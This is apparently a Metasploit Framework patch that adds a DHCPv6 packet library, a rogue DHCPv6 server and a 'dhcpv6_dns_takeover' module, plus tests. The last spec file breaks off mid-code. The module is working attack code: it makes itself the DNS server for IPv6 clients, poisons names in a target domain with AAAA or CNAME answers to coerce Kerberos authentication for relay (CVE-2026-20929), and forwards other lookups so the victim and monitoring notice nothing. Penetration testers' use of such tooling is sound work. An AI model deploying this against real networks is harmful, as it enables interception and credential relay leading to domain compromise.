From f1f4d8fb5e00387f9babe90e8a2f97d0b358b29e Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 16 Jul 2026 23:31:45 +0530 Subject: [PATCH 01/11] Add native DHCPv6 DNS-takeover coercion for Kerberos relay Provide the native coercion half of the Kerberos relay via DNS (CVE-2026-20929), removing the dependency on external tooling like mitm6: - Add Rex::Proto::DHCPv6, a native DHCPv6 packet library (RFC 8415 plus the RFC 3646 DNS options): message/option encoding and helpers to build the rogue server responses that hand a client the attacker as its DNS server. - Add Rex::Proto::DHCPv6::Server, a reusable rogue DHCPv6 server that answers Solicit/Request/Renew/Rebind/Confirm/Information-Request. - Add auxiliary/spoof/dhcp/dhcpv6_dns_takeover, which runs the rogue DHCPv6 server and a paired DNS server that poisons names under a target domain (A/AAAA or a CNAME for the DNS-CNAME relay trick) while forwarding all other lookups so the victim stays functional. --- lib/msf_autoload.rb | 1 + lib/rex/proto/dhcpv6/constants.rb | 69 +++++++ lib/rex/proto/dhcpv6/packet.rb | 192 ++++++++++++++++++ lib/rex/proto/dhcpv6/server.rb | 162 +++++++++++++++ .../spoof/dhcp/dhcpv6_dns_takeover.rb | 183 +++++++++++++++++ spec/lib/rex/proto/dhcpv6/packet_spec.rb | 139 +++++++++++++ spec/lib/rex/proto/dhcpv6/server_spec.rb | 63 ++++++ .../spoof/dhcp/dhcpv6_dns_takeover_spec.rb | 80 ++++++++ 8 files changed, 889 insertions(+) create mode 100644 lib/rex/proto/dhcpv6/constants.rb create mode 100644 lib/rex/proto/dhcpv6/packet.rb create mode 100644 lib/rex/proto/dhcpv6/server.rb create mode 100644 modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb create mode 100644 spec/lib/rex/proto/dhcpv6/packet_spec.rb create mode 100644 spec/lib/rex/proto/dhcpv6/server_spec.rb create mode 100644 spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 42315748312aa..5f181ce05f961 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -293,6 +293,7 @@ def custom_inflections 'rakp2' => 'RAKP2', 'pjl' => 'PJL', 'dhcp' => 'DHCP', + 'dhcpv6' => 'DHCPv6', 'addp' => 'ADDP', 'rfb' => 'RFB', 'io' => 'IO', diff --git a/lib/rex/proto/dhcpv6/constants.rb b/lib/rex/proto/dhcpv6/constants.rb new file mode 100644 index 0000000000000..6c98fde29fa0d --- /dev/null +++ b/lib/rex/proto/dhcpv6/constants.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Proto + # Constants for DHCPv6 (RFC 8415), plus the DNS configuration options from + # RFC 3646. Only the subset needed to run a rogue stateful/stateless DHCPv6 + # server (to become a client's DNS server) is defined here. + module DHCPv6::Constants + # DHCPv6 message types (RFC 8415 section 7.3) + module MessageType + SOLICIT = 1 + ADVERTISE = 2 + REQUEST = 3 + CONFIRM = 4 + RENEW = 5 + REBIND = 6 + REPLY = 7 + RELEASE = 8 + DECLINE = 9 + RECONFIGURE = 10 + INFORMATION_REQUEST = 11 + RELAY_FORW = 12 + RELAY_REPL = 13 + end + + # DHCPv6 option codes (RFC 8415 section 21, RFC 3646 for DNS options) + module OptionCode + CLIENTID = 1 + SERVERID = 2 + IA_NA = 3 + IA_TA = 4 + IAADDR = 5 + ORO = 6 # Option Request Option + PREFERENCE = 7 + ELAPSED_TIME = 8 + STATUS_CODE = 13 + RAPID_COMMIT = 14 + DNS_SERVERS = 23 # RFC 3646: DNS Recursive Name Server option + DOMAIN_LIST = 24 # RFC 3646: Domain Search List option + end + + # DUID types (RFC 8415 section 11) + module DuidType + LLT = 1 # Link-layer address plus time + EN = 2 # Vendor-assigned unique ID based on Enterprise Number + LL = 3 # Link-layer address + end + + # Status codes (RFC 8415 section 21.13) + module StatusCode + SUCCESS = 0 + UNSPEC_FAIL = 1 + NO_ADDRS_AVAIL = 2 + NO_BINDING = 3 + NOT_ON_LINK = 4 + USE_MULTICAST = 5 + end + + # Hardware type for DUID-LL/LLT (IANA; 1 = Ethernet) + HARDWARE_TYPE_ETHERNET = 1 + + # The well-known multicast group all DHCPv6 servers and relay agents listen + # on, and the server/client UDP ports (RFC 8415 section 7.2). + ALL_DHCP_RELAY_AGENTS_AND_SERVERS = 'ff02::1:2' + SERVER_PORT = 547 + CLIENT_PORT = 546 + end + end +end diff --git a/lib/rex/proto/dhcpv6/packet.rb b/lib/rex/proto/dhcpv6/packet.rb new file mode 100644 index 0000000000000..9033453a975f6 --- /dev/null +++ b/lib/rex/proto/dhcpv6/packet.rb @@ -0,0 +1,192 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A DHCPv6 client/server message (RFC 8415 section 8): a one-byte message + # type, a three-byte transaction id, and a list of TLV options. This parses + # and builds the wire format and provides helpers for assembling the rogue + # server responses used to make a client adopt the attacker as its DNS server. + # + # Relay messages (RELAY-FORW / RELAY-REPL) have a different layout and are not + # modelled here; only direct client/server messages are handled. + class Packet < BinData::Record + # A single DHCPv6 option in TLV form (RFC 8415 section 21.1). Nested so it + # registers with BinData under the unique name :dhcpv6_option (a bare + # :option would collide with other protocols' option records). + class Dhcpv6Option < BinData::Record + endian :big + + uint16 :code + uint16 :len, value: -> { data.num_bytes } + string :data, read_length: :len + end + + endian :big + + uint8 :msg_type + string :transaction_id, length: 3 + array :options, type: :dhcpv6_option, read_until: :eof + + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option, nil] the first option + # with the given code, if present. + def find_option(code) + options.find { |opt| opt.code == code } + end + + # @return [Boolean] whether the client asked for a Rapid Commit (a two-message + # Solicit/Reply exchange rather than the four-message default). + def rapid_commit? + !find_option(Constants::OptionCode::RAPID_COMMIT).nil? + end + + class << self + # Build a DHCPv6 option. + # + # @param code [Integer] the option code + # @param data [String] the option payload (already encoded) + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def option(code, data) + Dhcpv6Option.new(code: code, data: data.b) + end + + # Build a DUID-LL (link-layer address DUID, RFC 8415 section 11.4). + # + # @param mac [String] the link-layer address, as "aa:bb:cc:dd:ee:ff" or 6 raw bytes + # @return [String] the encoded DUID + def duid_ll(mac) + [Constants::DuidType::LL, Constants::HARDWARE_TYPE_ETHERNET].pack('nn') + mac_to_bytes(mac) + end + + # Build a DNS Recursive Name Server option (RFC 3646): the list of IPv6 + # addresses the client should use as DNS servers. + # + # @param addresses [Array] IPv6 addresses in presentation form + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def dns_servers_option(addresses) + option(Constants::OptionCode::DNS_SERVERS, addresses.map { |a| Rex::Socket.addr_aton(a) }.join) + end + + # Build a Domain Search List option (RFC 3646), DNS-name encoded. + # + # @param domains [Array] search domains + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def domain_list_option(domains) + option(Constants::OptionCode::DOMAIN_LIST, domains.map { |d| encode_dns_name(d) }.join) + end + + # Build an IA_NA (Identity Association for Non-temporary Addresses) option + # carrying a single leased address, echoing the client's IAID. + # + # @param iaid [Integer] the client's IAID (from its IA_NA request) + # @param address [String] the IPv6 address to lease, in presentation form + # @param preferred_lifetime [Integer] seconds + # @param valid_lifetime [Integer] seconds + # @param t1 [Integer] renew timer, seconds + # @param t2 [Integer] rebind timer, seconds + # @return [Rex::Proto::DHCPv6::Packet::Dhcpv6Option] + def ia_na_option(iaid:, address:, preferred_lifetime:, valid_lifetime:, t1:, t2:) + iaaddr = option( + Constants::OptionCode::IAADDR, + Rex::Socket.addr_aton(address) + [preferred_lifetime, valid_lifetime].pack('NN') + ) + option(Constants::OptionCode::IA_NA, [iaid, t1, t2].pack('NNN') + iaaddr.to_binary_s) + end + + # Read the IAID out of a request's IA_NA option, if any. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] + def request_iaid(request) + ia_na = request.find_option(Constants::OptionCode::IA_NA) + return nil if ia_na.nil? + + ia_na.data.to_binary_s[0, 4].unpack1('N') + end + + # The message type to answer a given request with (RFC 8415 section 18.3): + # a Solicit is answered with an Advertise, unless Rapid Commit is requested, + # in which case the exchange collapses to a Reply. Everything else we handle + # (Request/Renew/Rebind/Confirm/Information-Request) is answered with a Reply. + # + # @param request [Rex::Proto::DHCPv6::Packet] + # @return [Integer, nil] the response message type, or nil if we do not answer it + def response_type_for(request) + case request.msg_type + when Constants::MessageType::SOLICIT + request.rapid_commit? ? Constants::MessageType::REPLY : Constants::MessageType::ADVERTISE + when Constants::MessageType::REQUEST, + Constants::MessageType::RENEW, + Constants::MessageType::REBIND, + Constants::MessageType::CONFIRM, + Constants::MessageType::INFORMATION_REQUEST + Constants::MessageType::REPLY + end + end + + # Assemble a rogue server response that advertises the attacker as the + # client's DNS server. Echoes the client's transaction id and Client ID, + # and (for stateful requests carrying an IA_NA) leases the given address. + # + # @param request [Rex::Proto::DHCPv6::Packet] the parsed client message + # @param server_duid [String] the encoded server DUID (see {.duid_ll}) + # @param dns_servers [Array] DNS server IPv6 addresses to hand out + # @param assigned_address [String, nil] address to lease, if answering statefully + # @param preferred_lifetime [Integer] lease preferred lifetime, seconds + # @param valid_lifetime [Integer] lease valid lifetime, seconds + # @param domain_list [Array, nil] optional DNS search domains + # @return [Rex::Proto::DHCPv6::Packet, nil] the response, or nil if the + # request type is not one we answer + def build_response(request:, server_duid:, dns_servers:, assigned_address: nil, + preferred_lifetime: 300, valid_lifetime: 600, domain_list: nil) + response_type = response_type_for(request) + return nil if response_type.nil? + + opts = [ + option(Constants::OptionCode::SERVERID, server_duid) + ] + + client_id = request.find_option(Constants::OptionCode::CLIENTID) + opts << option(Constants::OptionCode::CLIENTID, client_id.data.to_binary_s) unless client_id.nil? + + iaid = request_iaid(request) + if !iaid.nil? && !assigned_address.nil? + opts << ia_na_option( + iaid: iaid, + address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + t1: preferred_lifetime / 2, + t2: (preferred_lifetime * 4) / 5 + ) + end + + opts << dns_servers_option(dns_servers) + opts << domain_list_option(domain_list) unless domain_list.nil? || domain_list.empty? + opts << option(Constants::OptionCode::RAPID_COMMIT, '') if request.rapid_commit? + + new( + msg_type: response_type, + transaction_id: request.transaction_id.to_binary_s, + options: opts.map { |o| { code: o.code, data: o.data.to_binary_s } } + ) + end + + private + + def mac_to_bytes(mac) + return mac.b if mac.b.bytesize == 6 + + [mac.delete(':-')].pack('H*') + end + + # Encode a domain name as a sequence of length-prefixed labels terminated + # by a zero-length root label (RFC 1035 section 3.1). + def encode_dns_name(domain) + domain.split('.').map { |label| [label.bytesize].pack('C') + label }.join + "\x00" + end + end + end + end + end +end diff --git a/lib/rex/proto/dhcpv6/server.rb b/lib/rex/proto/dhcpv6/server.rb new file mode 100644 index 0000000000000..90bf3621223d1 --- /dev/null +++ b/lib/rex/proto/dhcpv6/server.rb @@ -0,0 +1,162 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module DHCPv6 + # A minimal rogue DHCPv6 server (RFC 8415). It answers Solicit / Request / + # Renew / Rebind / Confirm / Information-Request messages, handing the client + # the attacker as its DNS server (and, for stateful requests, a leased + # address). This is the native coercion primitive behind the Kerberos relay + # via DNS (CVE-2026-20929): once the attacker is the client's DNS server, a + # paired DNS server poisons the target name to coerce authentication. + # + # Request parsing and response construction live in {#handle_request}, kept + # separate from the socket I/O so the protocol behaviour is unit-testable. + class Server + include Rex::Socket + + # @param dns_servers [Array] DNS server IPv6 address(es) to hand out + # (the attacker); defaults to the server's own link address at start time. + # @param assigned_address [String, nil] address to lease for stateful (IA_NA) requests + # @param domain_list [Array, nil] optional DNS search domains + # @param server_mac [String, nil] link-layer address for the server DUID (random if nil) + # @param listen_host [String] local bind address (all IPv6 by default) + # @param interface [String, nil] interface name to bind / join multicast on + # @param context [Hash] Rex socket context + # + # Lease lifetimes default to 300s/600s and can be overridden via the + # +preferred_lifetime+ / +valid_lifetime+ accessors. + def initialize(dns_servers: [], assigned_address: nil, domain_list: nil, server_mac: nil, + listen_host: '::', interface: nil, context: {}) + self.dns_servers = dns_servers + self.assigned_address = assigned_address + self.domain_list = domain_list + self.server_duid = Packet.duid_ll(server_mac || random_mac) + self.listen_host = listen_host + self.interface = interface + self.preferred_lifetime = 300 + self.valid_lifetime = 600 + self.context = context + self.sock = nil + end + + # A block invoked with (message_type, client_host, request_packet) each + # time a request is answered, for logging / reporting. + def on_request(&block) + self.reporter = block + end + + # Start listening and answering DHCPv6 requests. + def start + self.sock = Rex::Socket::Udp.create( + 'LocalHost' => listen_host, + 'LocalPort' => Constants::SERVER_PORT, + 'Context' => context, + 'Ipv6' => true + ) + + if interface && !interface.empty? + begin + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0") + rescue StandardError => e + elog("Failed to bind DHCPv6 server to #{interface}", error: e) + end + end + + join_multicast_group + + self.thread = Rex::ThreadFactory.spawn('DHCPv6ServerMonitor', false) { monitor_socket } + end + + def stop + thread.kill if thread + begin + sock&.close + rescue StandardError => e + elog('Failed to close DHCPv6 server socket', error: e) + end + self.sock = nil + end + + # Parse a raw client message and build the rogue response bytes. + # + # @param buf [String] the received DHCPv6 message + # @return [Array(Integer, String), nil] the response message type and its + # encoded bytes, or nil if the message is not one we answer. + def handle_request(buf) + request = Packet.read(buf) + response = Packet.build_response( + request: request, + server_duid: server_duid, + dns_servers: dns_servers, + assigned_address: assigned_address, + preferred_lifetime: preferred_lifetime, + valid_lifetime: valid_lifetime, + domain_list: domain_list + ) + return nil if response.nil? + + [request.msg_type, response.to_binary_s] + rescue StandardError => e + elog('Failed to handle DHCPv6 request', error: e) + nil + end + + attr_accessor :dns_servers, :assigned_address, :domain_list, :server_duid, + :listen_host, :interface, :preferred_lifetime, :valid_lifetime, + :context, :sock, :thread, :reporter + + protected + + def monitor_socket + loop do + readable, = ::IO.select([sock], nil, nil, 1) + next unless readable && readable[0] == sock + + buf, addr = sock.recvfrom(65535) + next if buf.nil? || buf.empty? + + client_host = addr[3] + result = handle_request(buf) + next if result.nil? + + msg_type, response = result + # DHCPv6 clients listen on the client port; reply to the source address. + sock.sendto(response, client_host, Constants::CLIENT_PORT) + reporter&.call(msg_type, client_host, buf) + end + end + + # Join the well-known DHCPv6 multicast group so the socket receives the + # multicast Solicit/Request messages clients send. Best-effort: platforms + # and interface indices vary, so failure is logged rather than fatal. + def join_multicast_group + group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS) + ifindex = interface_index + sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('N')) + rescue StandardError => e + elog('Failed to join DHCPv6 multicast group', error: e) + end + + def ipv6_join_group_opt + if ::Socket.const_defined?(:IPV6_JOIN_GROUP) + ::Socket::IPV6_JOIN_GROUP + else + ::Socket::IPV6_ADD_MEMBERSHIP + end + end + + def interface_index + return 0 if interface.nil? || interface.empty? + + ::Socket.getifaddrs.find { |ifaddr| ifaddr.name == interface }&.ifindex || 0 + end + + def random_mac + # 0x02 in the first octet marks the address locally administered + "\x02".b + Random.new.bytes(5) + end + end + end + end +end diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb new file mode 100644 index 0000000000000..887d8f41e62ba --- /dev/null +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -0,0 +1,183 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::DNS::Client + include Msf::Exploit::Remote::DNS::Server + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'DHCPv6 DNS Takeover (mitm6-style IPv6 DNS coercion)', + 'Description' => %q{ + This module runs a rogue DHCPv6 server that hands the attacker to IPv6 + clients as their DNS server (the classic mitm6 primitive), and a paired + DNS server that poisons names under a target domain to point at the + attacker while transparently forwarding all other lookups so the victim + stays functional. + + Once a client resolves a target service through the attacker, it can be + coerced into authenticating to the attacker. Paired with a Kerberos relay + target (for example ESC8 AD CS web enrollment), this is the native + coercion half of the Kerberos relay via DNS technique (CVE-2026-20929), + removing the dependency on external tooling such as mitm6. + + IPv6 is preferred by Windows over IPv4, so becoming the client's IPv6 DNS + server is enough to intercept its name resolution even on IPv4 networks. + }, + 'Author' => [ + 'Pushpender Rathore' # native DHCPv6 + DNS coercion + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-20929'], + ['URL', 'https://github.com/dirkjanm/mitm6'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run the DHCPv6 and DNS takeover services' } ] + ], + 'PassiveActions' => [ 'Service' ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), + OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), + OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), + OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]), + OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), + OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) + ] + ) + end + + def run + validate_ipv6!(datastore['SPOOF_IP6'], 'SPOOF_IP6') + validate_ipv6!(datastore['LEASE_IP6'], 'LEASE_IP6') if datastore['LEASE_IP6'].present? + + start_service + print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") + + start_dhcpv6_server + print_status("DHCPv6 server started, advertising #{datastore['SPOOF_IP6']} as the DNS server") + + service.wait if service + rescue Rex::BindFailed => e + print_error("Failed to bind a service socket: #{e.message}") + end + + def cleanup + super + @dhcpv6_server&.stop + @dhcpv6_server = nil + end + + # Poison lookups that fall under the target scope; forward everything else so + # the victim keeps working (and so we do not tip off monitoring by breaking + # unrelated name resolution). + def on_dispatch_request(cli, data) + return if data.strip.empty? + + req = Packet.encode_drb(data) + peer = "#{cli.peerhost}:#{cli.peerport}" + + poisoned = false + req.question.each do |question| + answers = poison_answers_for(question) + next if answers.empty? + + answers.each { |rr| req.add_answer(rr) } + poisoned = true + print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") + end + + unless poisoned + # Not in scope: fall back to the default cache/forward behaviour. + return service.default_dispatch_request(cli, data) + end + + req.header.qr = true + req.header.ra = true + service.send_response(cli, Packet.validate(req).encode) + end + + private + + def poison_answers_for(question) + name = question.qname.to_s.chomp('.').downcase + return [] unless in_scope?(name) + + qtype = question.qtype.to_s + if datastore['RELAY_CNAME'].present? + # Steer the victim onto a name whose SPN the attacker will relay for. + return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] + end + + case qtype + when 'AAAA' + [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] + when 'A' + # Only answer A records if an IPv4 spoof address is meaningful; otherwise + # returning nothing lets the client prefer the AAAA answer we control. + srvhost = datastore['SRVHOST'] + Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] + else + [] + end + end + + def in_scope?(name) + if datastore['TARGET_HOSTS'].present? + target_hosts.include?(name) + else + domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') + name == domain || name.end_with?(".#{domain}") + end + end + + def target_hosts + @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) + end + + def start_dhcpv6_server + @dhcpv6_server = Rex::Proto::DHCPv6::Server.new( + dns_servers: [datastore['SPOOF_IP6']], + assigned_address: datastore['LEASE_IP6'], + domain_list: [datastore['TARGET_DOMAIN']], + interface: datastore['DHCPV6_INTERFACE'], + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + @dhcpv6_server.on_request do |msg_type, client_host, _buf| + vprint_status("DHCPv6 #{dhcpv6_message_name(msg_type)} from #{client_host}, answered with DNS #{datastore['SPOOF_IP6']}") + end + @dhcpv6_server.start + end + + def poison_description + datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] + end + + def dhcpv6_message_name(msg_type) + Rex::Proto::DHCPv6::Constants::MessageType.constants.find do |c| + Rex::Proto::DHCPv6::Constants::MessageType.const_get(c) == msg_type + end || msg_type + end + + def validate_ipv6!(address, name) + return if Rex::Socket.is_ipv6?(address.to_s) + + fail_with(Failure::BadConfig, "#{name} must be a valid IPv6 address") + end +end diff --git a/spec/lib/rex/proto/dhcpv6/packet_spec.rb b/spec/lib/rex/proto/dhcpv6/packet_spec.rb new file mode 100644 index 0000000000000..aa254aa8686f5 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/packet_spec.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Packet do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:client_duid) { described_class.duid_ll('11:22:33:44:55:66') } + let(:server_duid) { described_class.duid_ll('aa:bb:cc:dd:ee:ff') } + + def build_solicit(extra_options = []) + described_class.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: client_duid }, + { code: const::OptionCode::IA_NA, data: [0xdeadbeef, 0, 0].pack('NNN') } + ] + extra_options + ) + end + + describe 'wire encoding' do + it 'round-trips a message through the wire format unchanged' do + wire = build_solicit.to_binary_s + expect(described_class.read(wire).to_binary_s).to eq(wire) + end + + it 'lays out the header as type + 3-byte transaction id + TLV options' do + wire = build_solicit.to_binary_s + expect(wire[0].unpack1('C')).to eq(const::MessageType::SOLICIT) + expect(wire[1, 3]).to eq("\x01\x02\x03".b) + # first option: CLIENTID (code 1), length, then the DUID + expect(wire[4, 2].unpack1('n')).to eq(const::OptionCode::CLIENTID) + expect(wire[6, 2].unpack1('n')).to eq(client_duid.bytesize) + end + end + + describe '.duid_ll' do + it 'encodes DUID type 3, ethernet hardware type, and the MAC bytes' do + expect(client_duid).to eq("\x00\x03\x00\x01\x11\x22\x33\x44\x55\x66".b) + end + + it 'accepts a MAC with dashes or raw bytes' do + expect(described_class.duid_ll('11-22-33-44-55-66')).to eq(client_duid) + expect(described_class.duid_ll("\x11\x22\x33\x44\x55\x66".b)).to eq(client_duid) + end + end + + describe '.dns_servers_option' do + it 'packs each IPv6 address as 16 network-order bytes' do + opt = described_class.dns_servers_option(['fe80::1', '2001:db8::2']) + expect(opt.code).to eq(const::OptionCode::DNS_SERVERS) + expect(opt.data.to_binary_s).to eq(Rex::Socket.addr_aton('fe80::1') + Rex::Socket.addr_aton('2001:db8::2')) + end + end + + describe '.request_iaid' do + it 'reads the IAID out of the request IA_NA option' do + expect(described_class.request_iaid(build_solicit)).to eq(0xdeadbeef) + end + + it 'returns nil when there is no IA_NA' do + info_req = described_class.new(msg_type: const::MessageType::INFORMATION_REQUEST, transaction_id: 'abc') + expect(described_class.request_iaid(info_req)).to be_nil + end + end + + describe '.response_type_for' do + it 'answers a Solicit with an Advertise' do + expect(described_class.response_type_for(build_solicit)).to eq(const::MessageType::ADVERTISE) + end + + it 'answers a Rapid-Commit Solicit with a Reply' do + solicit = build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]) + expect(described_class.response_type_for(solicit)).to eq(const::MessageType::REPLY) + end + + it 'answers a Request with a Reply' do + req = described_class.new(msg_type: const::MessageType::REQUEST, transaction_id: 'abc') + expect(described_class.response_type_for(req)).to eq(const::MessageType::REPLY) + end + + it 'does not answer message types it does not handle (e.g. Release)' do + rel = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.response_type_for(rel)).to be_nil + end + end + + describe '.build_response' do + subject(:response) do + described_class.build_response( + request: described_class.read(build_solicit.to_binary_s), + server_duid: server_duid, + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + domain_list: ['kerberos.issue'] + ) + end + + it 'produces a wire-valid Advertise that echoes the transaction id' do + expect(response.msg_type).to eq(const::MessageType::ADVERTISE) + expect(response.transaction_id.to_binary_s).to eq("\x01\x02\x03".b) + expect(described_class.read(response.to_binary_s).to_binary_s).to eq(response.to_binary_s) + end + + it 'includes the server DUID and echoes the client DUID' do + server_id = response.find_option(const::OptionCode::SERVERID) + client_id = response.find_option(const::OptionCode::CLIENTID) + expect(server_id.data.to_binary_s).to eq(server_duid) + expect(client_id.data.to_binary_s).to eq(client_duid) + end + + it 'hands out the attacker as DNS server' do + dns = response.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'leases the assigned address in an IA_NA echoing the client IAID' do + ia_na = response.find_option(const::OptionCode::IA_NA) + expect(ia_na.data.to_binary_s[0, 4].unpack1('N')).to eq(0xdeadbeef) + # IA_NA data = IAID(4) + T1(4) + T2(4), then a nested IAADDR option + # (code(2) + len(2) + address(16) + lifetimes(8)); address starts at 12 + 4. + iaaddr_option = ia_na.data.to_binary_s[12..] + expect(iaaddr_option[0, 2].unpack1('n')).to eq(const::OptionCode::IAADDR) + expect(Rex::Socket.addr_ntoa(iaaddr_option[4, 16])).to eq('fe80::dead') + end + + it 'returns nil for a request type it does not answer' do + release = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.build_response(request: release, server_duid: server_duid, dns_servers: ['fe80::53'])).to be_nil + end + + it 'echoes Rapid Commit and replies when the client requested it' do + solicit = described_class.read(build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]).to_binary_s) + reply = described_class.build_response(request: solicit, server_duid: server_duid, dns_servers: ['fe80::53']) + expect(reply.msg_type).to eq(const::MessageType::REPLY) + expect(reply.find_option(const::OptionCode::RAPID_COMMIT)).not_to be_nil + end + end +end diff --git a/spec/lib/rex/proto/dhcpv6/server_spec.rb b/spec/lib/rex/proto/dhcpv6/server_spec.rb new file mode 100644 index 0000000000000..0fa51ef179f22 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/server_spec.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Server do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:packet) { Rex::Proto::DHCPv6::Packet } + + subject(:server) do + described_class.new( + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + server_mac: 'aa:bb:cc:dd:ee:ff' + ) + end + + def solicit + packet.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: packet.duid_ll('11:22:33:44:55:66') }, + { code: const::OptionCode::IA_NA, data: [0xcafef00d, 0, 0].pack('NNN') } + ] + ).to_binary_s + end + + describe '#handle_request' do + it 'answers a Solicit with an Advertise handing out the attacker as DNS' do + msg_type, response = server.handle_request(solicit) + expect(msg_type).to eq(const::MessageType::SOLICIT) + + reply = packet.read(response) + expect(reply.msg_type).to eq(const::MessageType::ADVERTISE) + dns = reply.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'uses the configured server MAC in the server DUID' do + _msg_type, response = server.handle_request(solicit) + server_id = packet.read(response).find_option(const::OptionCode::SERVERID) + expect(server_id.data.to_binary_s).to eq(packet.duid_ll('aa:bb:cc:dd:ee:ff')) + end + + it 'returns nil for a message type it does not answer' do + release = packet.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc').to_binary_s + expect(server.handle_request(release)).to be_nil + end + + it 'returns nil (and does not raise) on malformed input' do + expect(server.handle_request("\xff")).to be_nil + end + end + + describe '#initialize' do + it 'generates a random locally-administered server DUID when no MAC is given' do + s = described_class.new(dns_servers: ['fe80::53']) + # DUID-LL: type(2) + hwtype(2) + 6-byte MAC; first MAC byte 0x02 = locally administered + expect(s.server_duid.bytesize).to eq(10) + expect(s.server_duid[4].unpack1('C')).to eq(0x02) + end + end +end diff --git a/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb new file mode 100644 index 0000000000000..b2566fcc16fc4 --- /dev/null +++ b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb @@ -0,0 +1,80 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/spoof/dhcp/dhcpv6_dns_takeover' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'spoof/dhcp/dhcpv6_dns_takeover' + ) + end + + let(:cli) { double('cli', peerhost: '10.0.0.5', peerport: 546) } + let(:dns_service) { double('service') } + + before do + mod.datastore['TARGET_DOMAIN'] = 'kerberos.issue' + 